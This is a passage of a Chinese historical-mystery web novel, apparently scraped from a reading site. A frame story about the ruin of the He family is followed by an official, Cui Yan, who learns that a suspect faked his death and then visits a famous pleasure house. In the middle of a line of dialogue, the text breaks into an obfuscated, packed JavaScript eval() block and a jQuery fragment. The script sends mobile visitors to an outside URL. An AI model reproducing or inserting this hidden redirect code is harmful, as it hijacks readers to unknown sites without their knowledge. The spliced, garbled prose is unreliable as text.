“这要从很久很久以前说起了。”
在某个朝代,在一个繁华的州府,曾经有一户何姓世家大族,何氏家族盘根错节显赫百年。在何家庞大的体系下有许多支系,有一支从事经商,家财万贯富可敌国。
这支支系的掌权人叫做何大老爷,他雷霆手段,威信十足,年纪轻轻就闯出家业,几乎坐断某条东西行商,手下拥趸云集,可谓一代人杰。
这何大老爷在立业之初娶了一位贤能夫人,这夫人娴雅有度,往往能出化险为夷之策,两人风雨同舟互为知己。
多年以来,夫人共出一子一女,长为姊名燕,次为弟名衡,皆□□聪颖,少有才名。
至女见长,不习治家,无心婚娶,甚爱木工,日夜雕琢,每有会意,必废寝忘食,至言有大作为,将鸿鹄振翅于飞。
老爷有心分托家业于女,见女此状,尽为旁门左道雕虫之技,而轻于继业,闷怒厌责,多出斥言,父女龃龉。
子其不肖,无心女色,性缓而言和,父责母劝,阳奉阴违为计,似有断袖之好。
至于何父夫人无故暴亡,官民商士,鬼胎各异,群起而逐鹿,一时大厦倾颓,朋友避之,求者鄙之,可谓众叛亲离,可见世态凉薄,天下熙熙之逐利。
姊弟处境,若浪尖之浮沫。
女投笔肩挑,千里奔亲以求援,然,人言断尾求生,道好自为之。
回乡视弟见弃于人,家中残垣,雨从屋漏,分文无有。
“师父别说了。这个故事听着就让人很难过,我有点害怕了。”孟明终于开口,他看起来情绪低落。
姜渝叹了口气,她果然还是不会讲故事。
却听孟明犹犹豫豫,支支吾吾道:“虽然师父说结局很坏,但是我还是有些好奇......”
“哦,这个呀,”姜渝笑笑,包容道:“我直接告诉你就好了。”
孟明竖起耳朵听。
姜渝轻快开口:“很老套啦,最后何衡死了,何燕也死了——就这样。”
“绝户了!?”
姜渝道:“对。我们可以说点其他的,我给你说说之后怎么跟着我学艺吧。”
在崔衍的逼视下,唐瑞终于吐露真言——柳和玉的确没死。
唐瑞颓然跪在大理寺的地板上,低着头娓娓道来:“他对我有恩。”
这并不意外。
崔衍坐在椅子上,手指轻敲桌面,淡淡的看着唐瑞。
“当年我得罪贵人,如果不是和玉为我出主意,我恐怕早就被那人整死。”
“所以当和玉对我说他感觉的到自己命不久矣时,我答应了他的请求。”
原来柳和玉身体不好是真的,之前家道中落,他成为一件可以随意转手的货物,受尽屈辱和折磨,最后遇到好心的陈家人时,身体已经被掏空。
“大人,您这样生来高贵的贵人不能明白我们这样卑贱的人的奢望。”
“和玉脸色已经像是死人,他无力的咳嗽着,手轻轻搭在我的手上,眼睛里泛着泪光,对我说‘瑞,我将要死了,但还有一个愿望,我希望最后一段时间能自由的走在天地之间,那么死了也已经知足’。”
唐瑞眼神悲戚自言自语道:“我说这些做什么......读书人的话我不太明白,但我确实答应了,我假装把他埋藏,然后和他握手分别。之后他去了哪里,我也不知道,或许已经死了。”
见他神情竟完全不似作伪,且问也问不出什么,崔衍挥挥手,让人将他带下去收押。
崔衍随即要发布对柳和玉的通缉令,差役叫来画师,将要去走访认识柳和玉的人,画出人物像。
崔衍之前对此并不在意,但如今听见画像却是微愣。
看着四十多岁长得苦大仇深的老画师,崔衍忽然意识到某人的缺位。
“姜渝什么时候回来?也没有说个时间。”他轻声喃喃。
放职归家,但崔衍并不愿回到那个让人作呕恶心的地方,于是又不由自主开始在城里打转,致力于绕到天黑,最好在没人进府遇不到任何东西的时候。
天色开始发昏,太阳半壁嵌入城墙,光亮从孔洞透出,照出斜长的光影。
走在街上人来人往,大家提着篮子背着背篓牵着孩子都开始收拾,渐渐的人少了,街上有种稀疏的空寂。
“三月天,风吹花落触琴弦——”
“花落弦动双飞燕——”
忽闻戏声传耳来,那样热闹,在这样苍凉的环境下,有着难以言喻的吸引力。
崔衍感觉有些熟悉,闻声提步寻过去。
渐渐地,一座四层的花楼出现在眼前,崔衍脚步一顿,抬头只见头顶高悬着三个风雅的大字:微月楼。
这个名字……崔衍想起什么,若有所思。
回头见陆白面色微微古怪,崔衍招招手让他走过来些。
“别害怕,上次是意外,这次你应该有经验了。”崔衍温声细语:“进去看看。”
随即迈开脚步跨过门槛。
这一迈进去顿觉敞亮,与外面即将落日的氛围截然不同,脂粉清香扑鼻而来,来来往往的各色女子用手帕掩唇而笑,飘然而去。
歌舞酒宴,杯盘来往,欢声笑语,觥筹交错,摇骰弄杯,弦歌相和,鼓点旋舞——欢乐似天上人间。
楼上还有花瓣扬扬洒下,纱带微垂,烛明如昼。
崔衍抬头,只见花楼顶端,竟然用灯烛环绕一周成圆月状,外围镂空环绕西域琉璃,透出星空与黑夜。灯烛中间贝壳螺钿镶嵌,遮天蔽日,在各处巧妙的灯光折射下,就像一轮永不落下的明月高悬于顶——不愧是享誉天下的第一名楼。
名作微月,竟还是谦逊含蓄婉约了。
这楼,真的许久未来了。
崔衍想。
这时侍酒已经发现崔衍,虽然崔衍穿的是常服,但他可是京城贵胄,并不是寻常人物,这样的人早就被见过他的生意人记好。侍酒并不是头一回见过他,于是赶忙笑盈盈的迎上来。
是的,微月楼虽然也有些灰色生意,但并不算酒楼,这里的接待也自然不会是青楼那一套叫法,男的雅称侍酒,女的唤作陪言。
“崔大人,您许久未来,这一见,竟然更加风流倜傥!”侍酒讨好道。
“嗯,闲话先别说,刚刚是谁在唱戏?”崔衍并没有过多客套的想法,于是直接询问。
“您问的是怜兰姑娘?刚刚就是她在亮嗓子。崔公子来的正好,下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362556|183756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一场马上就开场了!”侍酒呵呵跟崔衍套近乎:“说起来怜兰姑娘成为这两年的花魁,正是靠着这把好嗓子呢,以前怎么没人注意到呢?”
崔衍闻言没什么反应,只是眼睛骨碌碌转过去看了侍酒一眼,看不出他的想法。
随即他变换面容,温声道:“哦?是这样吗?微月楼的花魁一定很多人慕名而来吧,我会不会挤不进去?”
侍酒见崔衍和他开玩笑,于是也笑,带着些谄媚:“怎么会,崔公子是何等贵客?微月楼永远为您留置雅座!”
崔衍见他乖觉,不由哈哈大笑,径直踏上台阶长扬而去,长袍随意飘动,显得格外肆意潇洒。
许多女子都看着他的背影微微发愣。
而陆白早已会意,利落从腰间取下一只荷包,抛给侍酒。
侍酒赶忙接住,捧着手不断道谢。
陆白没再看他,几步跳上台阶追上崔衍,侍酒赶紧迈着紧促碎步跟在后面。
在他们踏上第二层台阶之时,只听楼上刹时安静,意识到好戏即将开场,崔衍加快脚步。
走上去的那一刻,怜兰如夜莺般美妙的歌喉轻缓传来。
“只恨年年明月夜,怨君何相弃——”
崔衍放轻脚步,这时速度慢下来,侍酒终于追上,气喘吁吁。
“公子,请随我来。”
崔衍坐在楼上的包间里,伸手陆白就递上一把风雅的玉骨雕枝扇,崔衍自然接过,哗的一声打开,一副梅花图随即现出模样。他悠悠的扇起来。
虽然现在已然入冬,但崔衍一向有随身携带扇子的习惯,他有个怪习惯,随时可能忽然扇风,尽管他并不热。
这个高度和角度非常的好,可以将底下的一切一览无余。
包括怜兰的表演,人们的状态,清清楚楚。
崔衍就这样一直扇着扇子,盯着怜兰,又扫视底下的人群,面无表情,让人琢磨不透。
直到怜兰谢幕,下面那群男人像是疯了一样喝彩,扔彩头还有呐喊。
非常热闹,以及——吵闹。
崔衍感觉到头颅随着人群疯狂的声音渐渐嗡鸣起来,带来一种让人难以克制的类似烦躁的感觉。
但他的脸上不见任何端倪,没有任何人感觉到他的异常,只能看到他的表情冷了几分,除此之外,再无端倪。
就在崔衍即将起身离开之时,他垂首间正与一双平静的眼睛对视——一高一低,一暗一明,穿越重重阻碍,简直是命运不可能的巧合。
这个男人相貌平平,衣着朴素,可以说是没有什么特点,放在外面就会消失,此时他站在熙熙攘攘的人群中,与崔衍目光相接。
崔衍莫名心头一跳,一种奇异的感觉袭上头脑,崔衍分不清这是种什么直觉,只是本能的感到警惕,就像见到一截生锈的铁剑,那种潜藏的风险。这一瞬间,这个陌生男人给他的感觉实在是太像……太像……
素衣男人与他对视一个呼吸,忽然垂首,一下消失在崔衍的视线。
巡视密密麻麻的人群,崔衍再也没有找到他。
这时,他无意间抬头,正好看见怜兰捧袖道谢。
一道闪光划过脑海,电光石火间,他知道怜兰像谁了!